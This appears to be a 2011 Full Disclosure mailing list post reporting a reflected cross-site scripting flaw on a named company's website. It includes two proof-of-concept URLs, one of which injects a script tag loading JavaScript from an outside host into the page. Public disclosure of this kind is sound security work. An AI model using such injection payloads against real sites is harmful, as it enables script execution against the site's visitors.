Full Disclosure mailing list archives
XSS Vulnerability in www.emerson.com
From: Madhur Ahuja <ahuja.madhur () gmail com>
Date: Mon, 5 Sep 2011 02:00:10 +0530
One of the pages in Emerson site are rendering the query string parameter without any inspection. This makes it possible to inject malicious content as shown below: http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cimg%20src='http://www.emerson.com/SiteCollectionImages/local/united-states/english/fastpath/INBDB%2020110225.jpg'%3E http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cscript%20src=%22http://madhur.github.com/files/js/site.js%22%20type=%22text/javascript%22%3E -- Madhur
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- XSS Vulnerability in www.emerson.com Madhur Ahuja (Sep 05)
- Re: XSS Vulnerability in www.emerson.com Mr. Hinky Dink (Sep 05)
- Re: XSS Vulnerability in www.emerson.com Valdis . Kletnieks (Sep 05)
- Re: XSS Vulnerability in www.emerson.com Madhur Ahuja (Sep 05)
- Re: XSS Vulnerability in www.emerson.com Mr. Hinky Dink (Sep 05)